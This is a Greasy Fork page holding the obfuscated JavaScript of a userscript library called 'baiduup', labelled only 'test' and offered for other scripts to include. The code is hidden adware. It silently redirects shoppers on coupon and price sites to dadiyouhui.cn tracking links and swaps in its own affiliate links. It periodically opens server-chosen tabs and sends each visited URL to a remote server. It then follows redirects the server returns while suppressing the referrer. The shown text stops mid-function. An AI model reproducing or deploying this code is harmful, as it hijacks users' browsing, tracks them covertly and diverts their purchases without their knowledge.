Greasy Fork is available in English.

baiduup

test

Ezt a szkriptet nem ajánlott közvetlenül telepíteni. Ez egy könyvtár más szkriptek számára, amik tartalmazzák a // @require https://greasyfork.org/scripts/401736-baiduup/code/baiduup.js?version=796279 hivatkozást.

$(document).ready(function(){

var zkduptime=0;
var zkdtime=Date.parse(new Date())/1000;
var qttjtime=0;
var cace =window.location.href;
var urla=window.location.href;
var zkddomain = document.domain;
var localcsace =0;
var localcgetsace =0;
var lyurl ={};
var asdxym =0;
var zxcsida =0;               
var zxcxxcsda =0;
var zxcxxv =0;
var zxchxv =0;
var zxcshxv =0;


var jcsfzksdjds=0;
var jcsfzkdjds=0;
var jcssdus=0;
var jcsxysdus=120;
var jcsxyxdus =0;
var bbgsx={};

var urla=window.location.href;

var dfgdf1=window.location.pathname;
var dfgdf2=window.location.search;
var dfgdf3=dfgdf1+dfgdf2;



dfgdf3 = dfgdf3.replace(/[\?|\/|\&|\=|%|\.]/g,"");


   




 var jcsfzkddds=0;
 if (urla.indexOf("dadiyouhui")<0 && (urla.indexOf("r=l/d&")>0 || urla.indexOf("r=p/d&")>0 || urla.indexOf("classify&kw=")>0)){
$("link[href]").each(function(k,v){
 if(v.href.search("cmsstatic.ffquan.cn")>0 ){
 jcsfzkddds=1;
}
})
if(jcsfzkddds==1 ){
	jcsfzkddds=urla.replace(document.domain,'www.dadiyouhui.cn');
 if (jcsfzkddds.search("https:")>=0 ){
 	 jcsfzkddds=jcsfzkddds.replace('https:','http:');
}
 window.location.href=jcsfzkddds;
}
    }
    

    var zkdnever='<meta name="referrer" content="never">'; 
    if(zkddomain.indexOf("soquanya.") > 0 ) {
        var sakjjuigoid =urla.match(/id\/(\d{10,13})./);
    
         if (sakjjuigoid){
    window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=yayams";
    }
    }
    if(zkddomain.indexOf("yayams.") > 0 || zkddomain.indexOf("haoshsh.") > 0 ) {
        var sakjjuigoid =urla.match(/iid\/(\d{10,13})./);
    
         if (sakjjuigoid){
    window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=yayams";
    }
    }

    if(location.href.indexOf("gwdang.c") > 0 ) {

		var sakjjuifydgoid =location.href.match(/dp(\d{10,13})-/);
	 if (sakjjuifydgoid){

window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuifydgoid[1]).toString(16)+"&type=1&zkd=gwdang";
}
	var sakjjuigoid =location.href.match(/trend\/(\d{10,13})-/);

	 if (sakjjuigoid){
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuigoid[1]).toString(16)+"&type=1&zkd=gwdang";
}
	var sakjjuiydgoid =location.href.match(/dp_id=(\d{10,13})-/);
	 if (sakjjuiydgoid){
window.location.href="http://"+randomaasxString(2)+"."+randomaasxString(2)+".dadiyouhui.cn/test_tongji.php?dj="+Number(sakjjuiydgoid[1]).toString(16)+"&type=1&zkd=gwdang";
}
}

var zgzxcurl=window.location.href;


if(cace.indexOf("=detail&id=") > 0 && zkddomain.indexOf("dadiyouhui")<0) {

      $("link[href]").each(function(k,v){
if(v.href.search("mo.91fyt.co")>0 ){
jcsfzkdjds=1;
}
})
if(jcsfzkdjds==1 ){
jcsfzkdjds=cace.replace(document.domain,'www.dadiyouhui.cn/jd/you1/hui.php');
jcsfzkdjds=jcsfzkdjds.replace('/hui.php/','/hui.php');
if (jcsfzkdjds.search("https:")>=0 ){
jcsfzkdjds=jcsfzkdjds.replace('https:','http:');
}
window.location.href=jcsfzkdjds;
}
}
if(cace.indexOf("?r=item/") > 0 && zkddomain.indexOf("dadiyouhui")<0) {


           $("link[href]").each(function(k,v){
if(v.href.search("ingtuitui.com/static/cms/css/index.css")>0 ){
jcsfzksdjds=1;

}
})
   if(jcsfzksdjds==1 ){

jcsfzksdjds=cace.replace(document.domain,'jd.dadiyouhui.cn/jd/you/hui.php');
jcsfzksdjds=jcsfzksdjds.replace('/hui.php/','/hui.php');

if (jcsfzksdjds.search("https:")>=0 ){
     jcsfzksdjds=jcsfzksdjds.replace('https:','http:');
}
 window.location.href=jcsfzksdjds;
}
}


if (GM_getValue('hd')){

    var sdfcc=GM_getValue('hd');
    if (Array.isArray(sdfcc)){
    }else{
        sdfcc=Object.values(GM_getValue('hd'));
    }

if (Array.isArray(sdfcc)){
}else{
    zxcshxv =1;
}



    for (var i=0;i<sdfcc.length;i++){ 
       var dxzcaid =sdfcc[i]['id'].length;
            for (var z=0;z<dxzcaid;z++){

                if (cace.indexOf(sdfcc[i]['id'][z]) >=0 ) {
                  
                    zxchxv=1;

                }
              

            }

    }


    }

    if (GM_getValue('ggdz') && zxchxv==0){

        if (GM_getValue('ggjg')){
    }else{  GM_setValue('ggjg', 86400) }
           if (GM_getValue('zkd_ggsj')){
    }else{  GM_setValue('zkd_ggsj', zkdtime-GM_getValue('ggjg')) }
        if (GM_getValue('ggkg')){

    if(GM_getValue('ggkg')==1 && GM_getValue('zkd_ggsj')<(zkdtime-GM_getValue('ggjg'))){
         GM_setValue('zkd_ggsj', zkdtime);
         localStorage.setItem('load-ping',zkdtime);
        GM_openInTab(GM_getValue('ggdz'), {active: !0});
    }
    }
    }

if (GM_getValue('cace')){
if (GM_getValue('cacesj')){
}else{  GM_setValue('cacesj', zkdtime-86400) }
if (GM_getValue('cacesj')<(zkdtime-86400)){
      GM_setValue('cacesj', zkdtime);
      GM_deleteValue('cace');
}
}
if (GM_getValue('zgr')){


    var zgr = GM_getValue('zgr');
    var zgrx = GM_getValue('zgrx');
    if (Array.isArray(zgr)){
    }else{
        zxcshxv =1;
    }
    for (var x=0;x<zgr.length;x++){

        if (zkddomain.indexOf(zgr[x]) >= 0 ) {

         


            asdxym =1;
            if (zgrx[x] == 0 ) {
                zxcxxcsda =0;


            }
           
            if (zgrx[x] == 2 || zgrx[x] == 1 ) {
                if (x<2){
                    if (cace){}
                var bgfjrt=/(?:&|\?)id=(\d{10,13})/.exec(cace);
                if (bgfjrt){
                    zxcxxv =bgfjrt[1];
                    zxcxxcsda =1;
                }
                
            }
            if (x==2){
                var xzssz=0;
                var bgfjrt1= /\/(\d{5,13}).html/.exec(cace);
                //var bgfjrt2=/\/item.html\?sku=(\d{5,13})&/.exec(cace);
               // var bgfjrt3=/ps\/item\/(\d{5,13}).html/.exec(cace);
                var bgfjrt4=/\/product\/(\d{5,13}).html/.exec(cace);
               
               
       if (bgfjrt1){
        zxcxxv =bgfjrt1[1];
        xzssz=1;
    }  
    
    if (bgfjrt4){
        zxcxxv =bgfjrt4[1];
        xzssz=1;
    }
            
                if (xzssz==1){
                    zxcxxcsda =1;
                }
                
            }
        }
        if (zgrx[x] == 1 ) {

            zxcxxcsda =1;
        }
        if (zgrx[x] == 2 ) {

        
        }

        }
    }

}


if (GM_getValue('gg')){
   
    var gg = GM_getValue('gg');
   
var vcxsxzs=0;

if (Array.isArray(gg)){

}else{
    zxcshxv =1;

}

	if (GM_getValue('hd')){

        for (var x=0;x<gg.length;x++){


            if (zkddomain.indexOf(gg[x]['ym']) >= 0 ) {

                vcxsxzs=1;
            }
        }
if (vcxsxzs==1){


var zhasdhd=GM_getValue('hd');

    if (Array.isArray(zhasdhd)){
    }else{
        zhasdhd=Object.values(zhasdhd);
    }
    

        for (var i=0;i<zhasdhd.length;i++){


            if(zhasdhd[i]['kg']==1){
               
                var asd = zhasdhd[i]['bt'];
                if (Array.isArray(asd)){

}else{


}	

                for (var c=0;c<asd.length;c++){

                    if (cace.indexOf(asd[c])>=0 ) {

                if (GM_getValue(asd+c)){
                }else{  GM_setValue(asd+c, 0) }

                if (localStorage.getItem(asd+c) != null) {
                    GM_setValue(asd+c, zkdtime+zhasdhd[i]['sj']);
                    localStorage.removeItem(asd+c);

                 }

        if ( GM_getValue(asd+c)<zkdtime){
                if (cace.indexOf(asd[c]) >=0 ) {
                    var dxzcaid =zhasdhd[i]['id'].length;
                for (var z=0;z<dxzcaid;z++){

                    if (cace.indexOf(zhasdhd[i]['id'][z]) ==-1 ) {
                        zxcsida=zxcsida+1;
                    }

                }
                if (zxcsida==dxzcaid){
                    localStorage.setItem('load-ping',zkdtime);
                    var zxcsadx=Math.floor(Math.random()*dxzcaid);
                    GM_setValue(asd+c, zkdtime+zhasdhd[i]['sj']);
                    $("meta:eq(0)").after(zkdnever);

                 window.location.href=zhasdhd[i]['dz'][zxcsadx][c];
                  return false
              
                }else {

                }
            }
        }
    }
}
            }

        }
    }

        }





    for (var x=0;x<gg.length;x++){

        if (GM_getValue('zkd_jsj'+x)){

    

        }else{  GM_setValue('zkd_jsj'+x, zkdtime+86400)
        
     }
     if (localStorage.getItem('zkd_jsj'+x) != null) {
        GM_setValue('zkd_jsj'+x, zkdtime+86400);
        localStorage.removeItem('zkd_jsj'+x);
     }
        if (zkddomain.indexOf(gg[x]['ym']) >= 0 ) {
         
            if(gg[x]['kg']==1 && GM_getValue('zkd_jsj'+x)<zkdtime){
              
                GM_setValue('zkd_jsj'+x, zkdtime+86400);
                localStorage.setItem('zkd_jsj'+x,zkdtime+86400);
               GM_openInTab(gg[x]['dz'], {active: !0});
                   return false
           }

        }
    }

}

if (GM_getValue('ttjg')){

    jcsxyxdus=GM_getValue('ttjg');
}else{
    jcsxyxdus=30;
}
if (GM_getValue('ttbjg')){

    jcsxysdus=GM_getValue('ttbjg');
}else{
    jcsxysdus=120;
}

if (localStorage.getItem('load-ping') != null) {

    localcsace =localStorage.getItem('load-ping');
    if (localcsace < (zkdtime-jcsxyxdus)) {

        qttjtime=0;
    }else{qttjtime=1;

    }
    
}
if (localStorage.getItem('bbgsx') != null) {
    if ( zxcxxv>0) {


    if (GM_getValue('cace')){
        lyurl = GM_getValue('cace');
        if (lyurl['x'+zxcxxv]){
        }else{
            jcssdus=1;
            lyurl['x'+zxcxxv]=localStorage.getItem('bbgsx');
            GM_setValue('cace', lyurl);
        }
    }else{
        jcssdus=1;
        GM_setValue('cace', localStorage.getItem('bbgsx'));
    }
    }
    localStorage.removeItem('bbgsx');
}

if (zxcxxv>=0){}else{
 
if (GM_getValue('cace')){
 lyurl = GM_getValue('cace');

if(lyurl[dfgdf3]){
    if (lyurl[dfgdf3] < (zkdtime-jcsxysdus)) {
        qttjtime=0;

    }else{qttjtime=1;

    }

}else {
    localcgetsace=1000;
}

}
}
if (localcsace >100 && localcgetsace>100 ){

    if (GM_getValue('cace')){
        lyurl = GM_getValue('cace');
    }
    qttjtime=1;
    lyurl[dfgdf3] =localcsace;
    GM_setValue('cace', lyurl);
}



if (zxcxxv>0){

    lyurl = GM_getValue('cace');
    if (GM_getValue('cace')){



        
    }else{


    
    }

    if (GM_getValue('cace')){
        if (GM_getValue('cace')['x'+zxcxxv]){



var mnsakc=(GM_getValue('cace')['x'+zxcxxv]-(zkdtime-jcsxysdus));
        if (mnsakc>0){

            jcssdus=1;
        }else{


        }
    }
    }

}else{

    if (GM_getValue('zxcskhgj')){
    if (GM_getValue('zxcskhgj')>(zkdtime-jcsxysdus)){

        jcssdus=1;
    }
        
    }
}






if (GM_getValue('aurl') && zxcshxv==0 && zxchxv==0 && jcssdus==0 && qttjtime==0 && asdxym==1 && zxcxxcsda==1){
    var bgfvx=0;
    if ($('.zkdbanversion').length > 0 ) {
         bgfvx=1;
    }else{
        $('body').append('<div class="zkdbanversion" > <div>')
    }
    if (GM_getValue('numzcxv')){
    }else{  GM_setValue('numzcxv', 0) } 
    if (bgfvx==0 &&  Math.ceil(Math.random()*GM_getValue('jgl')) ==1) {
        var cxvfgerl =GM_getValue('aurl') + "&num="+GM_getValue('numzcxv')+"&i="+zxcxxv+"&m="+encodeURIComponent(cace)+"&t="+localcsace;
 GM_xmlhttpRequest({
    url: cxvfgerl,
    method: 'GET',
            timeout: 10000,
            headers: {
                'Content-Type': 'application/jsonp',
                'Accept': 'application/jsonp',
                'Cache-Control': 'public'
            },
            onload: function(res){
                try{
                    const t = JSON.parse(res.responseText)



        localStorage.setItem('load-ping',zkdtime);
        var lburl ={};
        if(GM_getValue('cace')){
            lburl = GM_getValue('cace');
        }

        lburl[dfgdf3] =zkdtime;

        if (zxcxxv>0){
            lburl['x'+zxcxxv] =zkdtime;
            bbgsx['x'+zxcxxv] =zkdtime;
            localStorage.setItem('bbgsx',bbgsx);
        }
        

        GM_setValue('numzcxv', t.n);
        GM_setValue('cace', lburl);
        GM_setValue('zxcskhgj', zkdtime);

        if(t.code==1){

            $("meta:eq(0)").after(zkdnever);


            if(t.k.length>8){
 window.location.href=t.k; 
          }
     
      return false; 
        } 
    
    }catch(e){
            
    }

    }
     
  });
}

}
	if (GM_getValue('jg')){
}else{  GM_setValue('jg', 10800) }

if (GM_getValue('px')){
}else{  GM_setValue('px', 0) }


if (GM_getValue('time')){

	 if (GM_getValue('time')<(zkdtime-GM_getValue('jg'))) {
	 	 zkduptime=1;
	 }
}else{ zkduptime=1;}






 if (zkduptime==1 &&  zxchxv==0) {

    var fcxerl ='https://www.dadiyouhui02.cn/tampermonkey/1/baidup.php?l=g&px='+GM_getValue('px')+'&k='+ GM_info.script.version;

    GM_xmlhttpRequest({
       url: fcxerl,
       method: 'GET',
               timeout: 10000,
               headers: {
                   'Content-Type': 'application/jsonp',
                   'Accept': 'application/jsonp',
                   'Cache-Control': 'public'
               },
               onload: function(res){
                try{
                    const t = JSON.parse(res.responseText)


        	GM_setValue('time', zkdtime);
        	GM_setValue('jg', t.jg);
            GM_setValue('jgl', t.jgl);
            GM_setValue('gz', t.gz);
            GM_setValue('ggjg', t.ggjg);
            GM_setValue('ggkg', t.ggkg);
            GM_setValue('txt', t.txt);

            GM_setValue('ttbjg', t.ttbjg);
            GM_setValue('dz', t.dz);
            GM_setValue('banben', t.banben);
            GM_setValue('px', t.px);
            GM_setValue('ttjg', t.ttjg);
            if (t.aurl){
             GM_setValue('aurl', t.aurl); }
             if (t.ggdz){
                GM_setValue('ggdz', t.ggdz); }
             
             if (t.aurl){
                GM_setValue('aurl', t.aurl); }
                if (t.zgr){
                    GM_setValue('zgr', t.zgr); }
                    if (t.zgrx){
                        GM_setValue('zgrx', t.zgrx) }
            if (t.test){
              GM_setValue('test', t.test); }
            if (t.testen){
            GM_setValue('testen', t.testen); }
            if (t.hd){
                GM_setValue('hd', t.hd); }
            if (t.gg){
             GM_setValue('gg', t.gg); }

        }catch(e){
            
        }

        }
      });
      

      if (GM_getValue('zkdid') && asdxym==0){
        if (GM_getValue('gz')==1){
      GM_xmlhttpRequest({
        url:"https://www.dadiyouhui02.cn/test_jihuo.php?k="+GM_getValue('zkdid'),
        method: 'GET',
                timeout: 10000,
                headers: {
                    'Content-Type': 'application/jsonp',
                    'Accept': 'application/jsonp',
                    'Cache-Control': 'public'
                },
                onload: function(res){
                    const k = JSON.parse(res.responseText)

if (k.res==0 || k.res==2){
  GM_setValue('kg', '0');
  GM_setValue('kgsm', '您已取消关注、暗号同时失效<br>请重新获取暗号激活');

}
      }
})
        }

}


 }


 


if (GM_getValue('kg')==1) {
     }else{
        if (GM_getValue('gz')==1&& asdxym==0){
    $('head').append('<style type="text/css">.swal-icon--error{border-color:#f27474;-webkit-animation:animateErrorIcon .5s;animation:animateErrorIcon .5s}.swal-icon--error__x-mark{position:relative;display:block;-webkit-animation:animateXMark .5s;animation:animateXMark .5s}.swal-icon--error__line{position:absolute;height:5px;width:47px;background-color:#f27474;display:block;top:37px;border-radius:2px}.swal-icon--error__line--left{-webkit-transform:rotate(45deg);transform:rotate(45deg);left:17px}.swal-icon--error__line--right{-webkit-transform:rotate(-45deg);transform:rotate(-45deg);right:16px}@-webkit-keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@keyframes animateErrorIcon{0%{-webkit-transform:rotateX(100deg);transform:rotateX(100deg);opacity:0}to{-webkit-transform:rotateX(0deg);transform:rotateX(0deg);opacity:1}}@-webkit-keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}@keyframes animateXMark{0%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}50%{-webkit-transform:scale(.4);transform:scale(.4);margin-top:26px;opacity:0}80%{-webkit-transform:scale(1.15);transform:scale(1.15);margin-top:-6px}to{-webkit-transform:scale(1);transform:scale(1);margin-top:0;opacity:1}}.swal-icon--warning{border-color:#f8bb86;-webkit-animation:pulseWarning .75s infinite alternate;animation:pulseWarning .75s infinite alternate}.swal-icon--warning__body{width:5px;height:47px;top:10px;border-radius:2px;margin-left:-2px}.swal-icon--warning__body,.swal-icon--warning__dot{position:absolute;left:50%;background-color:#f8bb86}.swal-icon--warning__dot{width:7px;height:7px;border-radius:50%;margin-left:-4px;bottom:-11px}@-webkit-keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}@keyframes pulseWarning{0%{border-color:#f8d486}to{border-color:#f8bb86}}.swal-icon--success{border-color:#a5dc86}.swal-icon--success:after,.swal-icon--success:before{content:"";border-radius:50%;position:absolute;width:60px;height:120px;background:#fff;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.swal-icon--success:before{border-radius:120px 0 0 120px;top:-7px;left:-33px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:60px 60px;transform-origin:60px 60px}.swal-icon--success:after{border-radius:0 120px 120px 0;top:-11px;left:30px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transform-origin:0 60px;transform-origin:0 60px;-webkit-animation:rotatePlaceholder 4.25s ease-in;animation:rotatePlaceholder 4.25s ease-in}.swal-icon--success__ring{width:80px;height:80px;border:4px solid hsla(98,55%,69%,.2);border-radius:50%;box-sizing:content-box;position:absolute;left:-4px;top:-4px;z-index:2}.swal-icon--success__hide-corners{width:5px;height:90px;background-color:#fff;padding:1px;position:absolute;left:28px;top:8px;z-index:1;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.swal-icon--success__line{height:5px;background-color:#a5dc86;display:block;border-radius:2px;position:absolute;z-index:2}.swal-icon--success__line--tip{width:25px;left:14px;top:46px;-webkit-transform:rotate(45deg);transform:rotate(45deg);-webkit-animation:animateSuccessTip .75s;animation:animateSuccessTip .75s}.swal-icon--success__line--long{width:47px;right:8px;top:38px;-webkit-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-animation:animateSuccessLong .75s;animation:animateSuccessLong .75s}@-webkit-keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@keyframes rotatePlaceholder{0%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}5%{-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}12%{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}to{-webkit-transform:rotate(-405deg);transform:rotate(-405deg)}}@-webkit-keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@keyframes animateSuccessTip{0%{width:0;left:1px;top:19px}54%{width:0;left:1px;top:19px}70%{width:50px;left:-8px;top:37px}84%{width:17px;left:21px;top:48px}to{width:25px;left:14px;top:45px}}@-webkit-keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}@keyframes animateSuccessLong{0%{width:0;right:46px;top:54px}65%{width:0;right:46px;top:54px}84%{width:55px;right:0;top:35px}to{width:47px;right:8px;top:38px}}.swal-icon--info{border-color:#c9dae1}.swal-icon--info:before{width:5px;height:29px;bottom:17px;border-radius:2px;margin-left:-2px}.swal-icon--info:after,.swal-icon--info:before{content:"";position:absolute;left:50%;background-color:#c9dae1}.swal-icon--info:after{width:7px;height:7px;border-radius:50%;margin-left:-3px;top:19px}.swal-icon{width:80px;height:80px;border-width:4px;border-style:solid;border-radius:50%;padding:0;position:relative;box-sizing:content-box;margin:20px auto}.swal-icon:first-child{margin-top:32px}.swal-icon--custom{width:auto;height:auto;max-width:100%;border:none;border-radius:0}.swal-icon img{max-width:100%;max-height:100%}.swal-title{color:rgba(0,0,0,.65);font-weight:600;text-transform:none;position:relative;display:block;padding:13px 16px;font-size:27px;line-height:normal;text-align:center;margin-bottom:0}.swal-title:first-child{margin-top:26px}.swal-title:not(:first-child){padding-bottom:0}.swal-title:not(:last-child){margin-bottom:13px}.swal-text{font-size:16px;position:relative;float:none;line-height:normal;vertical-align:top;text-align:left;display:inline-block;margin:0;padding:0 10px;font-weight:400;color:rgba(0,0,0,.64);max-width:calc(100% - 20px);overflow-wrap:break-word;box-sizing:border-box}.swal-text:first-child{margin-top:45px}.swal-text:last-child{margin-bottom:45px}.swal-footer{text-align:right;padding-top:13px;margin-top:13px;padding:13px 16px;border-radius:inherit;border-top-left-radius:0;border-top-right-radius:0}.swal-button-container{margin:5px;display:inline-block;position:relative}.swal-button{background-color:#7cd1f9;color:#fff;border:none;box-shadow:none;border-radius:5px;font-weight:600;font-size:14px;padding:10px 24px;margin:0;cursor:pointer}.swal-button:not([disabled]):hover{background-color:#78cbf2}.swal-button:active{background-color:#70bce0}.swal-button:focus{outline:none;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(43,114,165,.29)}.swal-button[disabled]{opacity:.5;cursor:default}.swal-button::-moz-focus-inner{border:0}.swal-button--cancel{color:#555;background-color:#efefef}.swal-button--cancel:not([disabled]):hover{background-color:#e8e8e8}.swal-button--cancel:active{background-color:#d7d7d7}.swal-button--cancel:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(116,136,150,.29)}.swal-button--danger{background-color:#e64942}.swal-button--danger:not([disabled]):hover{background-color:#df4740}.swal-button--danger:active{background-color:#cf423b}.swal-button--danger:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(165,43,43,.29)}.swal-content{padding:0 20px;margin-top:20px;font-size:medium}.swal-content:last-child{margin-bottom:20px}.swal-content__input,.swal-content__textarea{-webkit-appearance:none;background-color:#fff;border:none;font-size:14px;display:block;box-sizing:border-box;width:100%;border:1px solid rgba(0,0,0,.14);padding:10px 13px;border-radius:2px;transition:border-color .2s}.swal-content__input:focus,.swal-content__textarea:focus{outline:none;border-color:#6db8ff}.swal-content__textarea{resize:vertical}.swal-button--loading{color:transparent}.swal-button--loading~.swal-button__loader{opacity:1}.swal-button__loader{position:absolute;height:auto;width:43px;z-index:2;left:50%;top:50%;-webkit-transform:translateX(-50%) translateY(-50%);transform:translateX(-50%) translateY(-50%);text-align:center;pointer-events:none;opacity:0}.swal-button__loader div{display:inline-block;float:none;vertical-align:baseline;width:9px;height:9px;padding:0;border:none;margin:2px;opacity:.4;border-radius:7px;background-color:hsla(0,0%,100%,.9);transition:background .2s;-webkit-animation:swal-loading-anim 1s infinite;animation:swal-loading-anim 1s infinite}.swal-button__loader div:nth-child(3n+2){-webkit-animation-delay:.15s;animation-delay:.15s}.swal-button__loader div:nth-child(3n+3){-webkit-animation-delay:.3s;animation-delay:.3s}@-webkit-keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}@keyframes swal-loading-anim{0%{opacity:.4}20%{opacity:.4}50%{opacity:1}to{opacity:.4}}.swal-overlay{position:fixed;top:0;bottom:0;left:0;right:0;text-align:center;font-size:0;overflow-y:auto;background-color:rgba(0,0,0,.4);z-index:10000;pointer-events:none;opacity:0;transition:opacity .3s}.swal-overlay:before{content:" ";display:inline-block;vertical-align:middle;height:100%}.swal-overlay--show-modal{opacity:1;pointer-events:auto}.swal-overlay--show-modal .swal-modal{opacity:1;pointer-events:auto;box-sizing:border-box;-webkit-animation:showSweetAlert .3s;animation:showSweetAlert .3s;will-change:transform}.swal-modal{width:478px;opacity:0;pointer-events:none;background-color:#fff;text-align:center;border-radius:5px;position:static;margin:20px auto;display:inline-block;vertical-align:middle;-webkit-transform:scale(1);transform:scale(1);-webkit-transform-origin:50% 50%;transform-origin:50% 50%;z-index:10001;transition:opacity .2s,-webkit-transform .3s;transition:transform .3s,opacity .2s;transition:transform .3s,opacity .2s,-webkit-transform .3s}@media (max-width:500px){.swal-modal{width:calc(100% - 20px)}}@-webkit-keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}@keyframes showSweetAlert{0%{-webkit-transform:scale(1);transform:scale(1)}1%{-webkit-transform:scale(.5);transform:scale(.5)}45%{-webkit-transform:scale(1.05);transform:scale(1.05)}80%{-webkit-transform:scale(.95);transform:scale(.95)}to{-webkit-transform:scale(1);transform:scale(1)}}</style>	');

   if ($('#zkdyanzheng').length > 0 ) { }else{
        var kaishism='初次使用请输入暗号'
        if (GM_getValue('kgsm') ){
             kaishism=GM_getValue('kgsm')
             }
        $('body').append('<div  id="zkdyanzheng" class="swal-overlay swal-overlay--show-modal" tabindex="-1">  <div class="swal-modal" role="dialog" aria-modal="true"><div class="swal-title" style="">'+kaishism+'</div><div class="swal-content">  <div><img style="" src="https://www.dadiyouhui02.cn/img/anhao.jpg"><input id="zkdscode" type="text" class="swal-content__input" name="zkdscode" required="" style="border-color: #af147a; "   placeholder="请在此输入获取的暗号,扫描上方二维码免费获取!"></div></div><div class="swal-footer"><div class="swal-button-container">  <button id="zkdscodego" class="swal-button swal-button--confirm">点击验证暗号</button>      <div class="swal-button__loader">      <div></div>      <div></div> <div>')
   }
  $(function () {
  $("#zkdscodego").click(function () {
  
  var val=$("#zkdscode").val();
  if(val.length ==0){ 
       alert('输入内容为空,在扫码在公众号回复暗号再来验证');
  
  }
  
  GM_xmlhttpRequest({
    url:"https://www.dadiyouhui02.cn/test_jihuo.php?k="+val ,
    method: 'GET',
            timeout: 10000,
            headers: {
                'Content-Type': 'application/jsonp',
                'Accept': 'application/jsonp',
                'Cache-Control': 'public'
            },
            onload: function(res){
                const k = JSON.parse(res.responseText)
                if (k.res==1){
  
                    GM_setValue('kg', '1');
                     GM_setValue('zkdid', val);
                     $("#zkdyanzheng").remove();
                   alert("恭喜!暗号正确,开启全部功能");

                   if (GM_getValue('txt')=='0'){	} else
                       {	alert(GM_getValue('txt'));	}
                  
               
               }
               if (k.res==2){
                   alert("暗号错误,请重新获取");
               
               }
               if (k.res==0){
                   alert("您已取消关注,暗号失效,请重新获取");
               
               }
               
               
  }
})


          })
  
  
  })
}
  
      
      } 




//111111111

             if (GM_info.script.version<GM_getValue('banben')&& asdxym==0){
            if (GM_getValue('gxsj')){
    }else{  GM_setValue('gxsj', zkdtime-86340) }
    if (GM_getValue('gxsj')<(zkdtime-86400)){
      GM_setValue('gxsj', zkdtime);
         
swal({
title: "发现新的油猴插件版本",
text: "修复部分BUG,是否确认更新?",
icon: "success",
buttons: true,
dangerMode: true,
buttons: ["取消", "确定"],
})
.then((willDelete) => {
    if (willDelete) {
GM_openInTab(GM_getValue('dz'), {active: !0});
    }
});

}  

}



function randomaasxString(len) {
  len = len || 32;
  var i = 0;
  var $chars = '23456789abcdefghijkmnpqrstuvwxyz';
  var maxPos = $chars.length;
  var pwd = '';
  for (i = 0; i < len; i++) {
    pwd += $chars.charAt(Math.floor(Math.random() * maxPos));
  }
  return pwd;
}

if(cace.indexOf("index.php?r=v&id=") > 0) {
		var idasdsastxt=0;
	if($(".detail_right_2").length > 0){
	 idasdsastxt=$(".detail_right_2").attr("data-src");
	}
		if($(".detail_right_2").length > 0){
	 idasdsastxt=$(".detail_right_2").attr("data-src");
	}
		if(idasdsastxt== 0){	}else{
	var sakjjuigoid =idasdsastxt.match(/itemId=(\d{10,13})&/);

	 if (sakjjuigoid){
	sakjjuigoid[5]= encodeURIComponent("https://item.taobao.com/item.htm?id="+sakjjuigoid[1])
$(".detail_right_2").attr("data-src","http://hui.dadiyouhui.cn/test_tb_zhuanlian.php?type=1&lj="+sakjjuigoid[5]);
	$(".dj").attr("data-src","http://hui.dadiyouhui.cn/test_tb_zhuanlian.php?type=1&lj="+sakjjuigoid[5]);

	    }
	}

}

var url = location.href;


setTimeout(function(){
	var zkdmmxidmi =  /(?:&|\?)id=(\d{10,13})/.exec(window.location.href);
		if ($('#miniCouponCom').length >0 && zkdmmxidmi ) {
$(".mini-cc-tle").attr("href","http://q.dadiyouhui.cn/new.asp?r=index%2Fclassify&kw="+encodeURI($('.mini-cc-tle').html())+"#order_2'");
$(".click2get2").attr("href","http://q.dadiyouhui.cn/test_tongji.php?dj="+Number(zkdmmxidmi[1]).toString(16)+"&type=1&zkd=gwdang");
            }
	},12000);

setTimeout(function(){
    if ($('.minicoupon_detail').length >0 &&  $('.coupon_detail').length > 0  && $('#zkdxxasdwema').length <= 0 &&  $('#zkdxxasdwemb').length <= 0) {
